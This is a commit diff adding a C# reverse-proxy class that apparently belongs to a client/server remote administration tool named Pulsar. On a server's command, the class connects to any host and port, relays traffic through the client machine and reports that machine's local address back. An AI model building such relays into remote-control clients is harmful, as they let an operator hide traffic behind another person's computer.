initial commit
This commit is contained in:
@@ -0,0 +1,169 @@
|
||||
using Pulsar.Common.Messages.Administration.ReverseProxy;
|
||||
using System;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
|
||||
namespace Pulsar.Client.ReverseProxy
|
||||
{
|
||||
public class ReverseProxyClient
|
||||
{
|
||||
public const int BUFFER_SIZE = 8192;
|
||||
|
||||
public int ConnectionId { get; private set; }
|
||||
public Socket Handle { get; private set; }
|
||||
public string Target { get; private set; }
|
||||
public int Port { get; private set; }
|
||||
public Networking.Client Client { get; private set; }
|
||||
private byte[] _buffer;
|
||||
private bool _disconnectIsSend;
|
||||
private bool _disposed;
|
||||
|
||||
public ReverseProxyClient(ReverseProxyConnect command, Networking.Client client)
|
||||
{
|
||||
this.ConnectionId = command.ConnectionId;
|
||||
this.Target = command.Target;
|
||||
this.Port = command.Port;
|
||||
this.Client = client;
|
||||
this.Handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||
|
||||
//Non-Blocking connect, so there is no need for a extra thread to create
|
||||
this.Handle.BeginConnect(command.Target, command.Port, Handle_Connect, null);
|
||||
}
|
||||
|
||||
private void Handle_Connect(IAsyncResult ar)
|
||||
{
|
||||
try
|
||||
{
|
||||
this.Handle.EndConnect(ar);
|
||||
}
|
||||
catch { }
|
||||
|
||||
if (this.Handle.Connected)
|
||||
{
|
||||
try
|
||||
{
|
||||
this._buffer = new byte[BUFFER_SIZE];
|
||||
this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Client.Send(new ReverseProxyConnectResponse
|
||||
{
|
||||
ConnectionId = ConnectionId,
|
||||
IsConnected = false,
|
||||
LocalAddress = null,
|
||||
LocalPort = 0,
|
||||
HostName = Target
|
||||
});
|
||||
Disconnect();
|
||||
}
|
||||
|
||||
IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint;
|
||||
Client.Send(new ReverseProxyConnectResponse
|
||||
{
|
||||
ConnectionId = ConnectionId,
|
||||
IsConnected = true,
|
||||
LocalAddress = localEndPoint.Address.GetAddressBytes(),
|
||||
LocalPort = localEndPoint.Port,
|
||||
HostName = Target
|
||||
});
|
||||
}
|
||||
else
|
||||
{
|
||||
Client.Send(new ReverseProxyConnectResponse
|
||||
{
|
||||
ConnectionId = ConnectionId,
|
||||
IsConnected = false,
|
||||
LocalAddress = null,
|
||||
LocalPort = 0,
|
||||
HostName = Target
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
private void AsyncReceive(IAsyncResult ar)
|
||||
{
|
||||
//Receive here data from e.g. a WebServer
|
||||
|
||||
if (_disposed)
|
||||
return;
|
||||
|
||||
try
|
||||
{
|
||||
int received = Handle.EndReceive(ar);
|
||||
|
||||
if (received <= 0)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
byte[] payload = new byte[received];
|
||||
Array.Copy(_buffer, payload, received);
|
||||
Client.Send(new ReverseProxyData { ConnectionId = ConnectionId, Data = payload });
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
// Socket was disposed, ignore
|
||||
return;
|
||||
}
|
||||
catch
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
if (_disposed)
|
||||
return;
|
||||
|
||||
try
|
||||
{
|
||||
this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
public void Disconnect()
|
||||
{
|
||||
if (_disposed)
|
||||
return;
|
||||
|
||||
_disposed = true;
|
||||
|
||||
if (!_disconnectIsSend)
|
||||
{
|
||||
_disconnectIsSend = true;
|
||||
//send to the Server we've been disconnected
|
||||
try
|
||||
{
|
||||
Client.Send(new ReverseProxyDisconnect { ConnectionId = ConnectionId });
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
Handle.Close();
|
||||
}
|
||||
catch { }
|
||||
|
||||
Client.RemoveProxyClient(this.ConnectionId);
|
||||
}
|
||||
|
||||
public void SendToTargetServer(byte[] data)
|
||||
{
|
||||
if (_disposed)
|
||||
return;
|
||||
|
||||
try
|
||||
{
|
||||
Handle.Send(data);
|
||||
}
|
||||
catch { Disconnect(); }
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user